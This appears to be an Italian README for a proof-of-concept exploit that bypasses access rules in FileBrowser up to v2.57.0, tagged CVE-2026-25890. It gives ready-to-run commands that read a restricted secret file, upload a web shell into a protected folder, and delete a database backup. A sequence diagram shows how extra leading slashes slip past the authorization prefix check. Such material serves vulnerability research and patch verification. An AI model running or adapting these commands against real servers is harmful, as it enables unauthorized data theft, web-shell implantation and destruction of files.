# Clona il repository
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass

# Nessuna dipendenza oltre alla libreria standard + requests
pip install requests

python3 exploit.py --help

# Leggi un file riservato
python3 exploit.py \
  --url http://192.168.1.50:8080 \
  --username bob \
  --password password123 \
  --path /private/secret.txt \
  --action read \
  --save leaked_secret.txt \
  --verbose

# Carica un file dannoso in una cartella riservata
python3 exploit.py \
  --url http://target:8080 \
  --username lowpriv \
  --password pass \
  --path /data/ \
  --action upload \
  --upload-file webshell.php \
  --slashes 3

# Elimina un file riservato
python3 exploit.py \
  --url http://10.10.10.123:80 \
  --username alice \
  --password secret \
  --path /backups/database.bak \
  --action delete \
  --slashes 4

sequenceDiagram
    participant Attacker
    participant FileBrowser ≤ v2.57.0
    participant Gorilla Mux Router
    participant Auth Middleware
    participant Filesystem Handler

    Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(richiesta normale)
    FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
    Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
    Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
    Auth Middleware->>Attacker: 403 Forbidden

    Note over Attacker,FileBrowser: L'attaccante tenta il bypass

    Attacker->>FileBrowser: GET /api/resources//private/secret.txt
    FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → nessuna normalizzazione)
    Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
    Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
    Auth Middleware->>Filesystem Handler: Consentito → procedi
    Filesystem Handler->>Filesystem: Normalizza // → /private/secret.txt
    Filesystem->>Filesystem Handler: Restituisce il contenuto del file
    Filesystem Handler->>Attacker: 200 OK + contenuto segreto